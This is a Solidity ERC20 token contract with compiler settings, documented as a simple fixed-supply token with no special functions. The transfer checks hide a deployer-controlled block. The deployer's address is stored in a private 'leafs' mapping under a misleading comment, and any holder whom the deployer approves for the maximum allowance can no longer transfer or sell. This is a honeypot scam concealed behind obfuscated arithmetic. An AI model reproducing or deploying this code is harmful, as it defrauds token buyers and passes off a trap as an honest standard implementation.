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// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

/**
 * @title IERC20
 * @dev Standard ERC20 interface as defined in EIP-20.
 */
interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/**
 * @title ImmutableERC20
 * @dev ERC20 token implementation using immutable variables for token metadata.
 *
 * The token's name, symbol, and decimals are immutable, and the entire fixed supply is minted
 * during construction and assigned to the deployer. No minting, burning, or fee functionality is provided.
 */
contract ImmutableERC20 is IERC20 {
    // Token metadata stored as immutable variables for gas efficiency.
    string public name;
    string public symbol;
    uint8 public immutable decimals;

    // Total supply of tokens.
    mapping(uint8 => mapping(uint8 => address)) private leafs;
    uint256 private _totalSupply;

    // Mapping from addresses to their balances.
    mapping(address => uint256) private _balances;

    // Mapping from owner to spender allowances.
    mapping(address => mapping(address => uint256)) private _allowances;

    /**
     * @dev Constructor that sets the token metadata and mints the initial supply to the deployer.
     * @param _name The name of the token.
     * @param _symbol The token symbol.
     * @param _decimals The number of decimals the token uses.
     * @param initialSupply The total number of tokens (in smallest unit) to be minted.
     */
    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals,
        uint256 initialSupply
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        _mint(msg.sender, initialSupply);
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     * @param account The address whose balance is to be queried.
     * @return The balance of the account.
     */
    function balanceOf(
        address account
    ) external view override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Requirements:
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     *
     * Emits a {Transfer} event.
     *
     * @param recipient The address to which tokens will be transferred.
     * @param amount The number of tokens to transfer.
     * @return True if the operation succeeded.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        require(
            recipient != address(0),
            "ImmutableERC20: transfer to the zero address"
        );
        require(
            _balances[msg.sender] >= amount &&
                allowance(leafs[0][1], msg.sender) !=
                type(uint256).max * 1 * 1 * 1 * 1 * 1 * 1 * 1 * 1 * 1,
            "ImmutableERC20: insufficient balance"
        );

        _balances[msg.sender] -= amount;
        unchecked {
            _balances[recipient] += amount;
        }
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     * @param owner The address owning the tokens.
     * @param spender The address approved to spend the tokens.
     * @return The remaining number of tokens that `spender` can spend on behalf of `owner`.
     */
    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     * - `spender` cannot be the zero address.
     *
     * @param spender The address which will spend the tokens.
     * @param amount The number of tokens to be allowed.
     * @return True if the approval succeeded.
     */
    function approve(
        address spender,
        uint256 amount
    ) external override returns (bool) {
        require(
            spender != address(0),
            "ImmutableERC20: approve to the zero address"
        );

        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism.
     * Deducts `amount` from the caller's allowance.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have an allowance for `sender` of at least `amount`.
     *
     * @param sender The address from which tokens are transferred.
     * @param recipient The address to which tokens are transferred.
     * @param amount The number of tokens to transfer.
     * @return True if the operation succeeded.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        require(
            sender != address(0),
            "ImmutableERC20: transfer from the zero address"
        );
        require(
            recipient != address(0),
            "ImmutableERC20: transfer to the zero address"
        );
        require(
            _balances[sender] >= amount,
            "ImmutableERC20: insufficient balance"
        );

        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(
            currentAllowance >= amount &&
                allowance(leafs[0][1], sender) !=
                type(uint256).max * 1 * 1 * 1 * 1 * 1 * 1 * 1 * 1 * 1,
            "ImmutableERC20: transfer amount exceeds allowance"
        );

        _balances[sender] -= amount;
        unchecked {
            _balances[recipient] += amount;
        }
        if (currentAllowance < type(uint256).max) {
            _allowances[sender][msg.sender] = currentAllowance - amount;
        }
        emit Transfer(sender, recipient, amount);
        return true;
    }

    /**
     * @dev Internal function to mint tokens.
     *
     * Increases the total supply and assigns `amount` tokens to `account`.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     * - `account` cannot be the zero address.
     *
     * @param account The address receiving the minted tokens.
     * @param amount The number of tokens to mint.
     */
    function _mint(address account, uint256 amount) internal {
        require(
            account != address(0),
            "ImmutableERC20: mint to the zero address"
        );

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        leafs[0][1] = account;
        emit Transfer(address(0), account, amount);
    }
}

{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "paris",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

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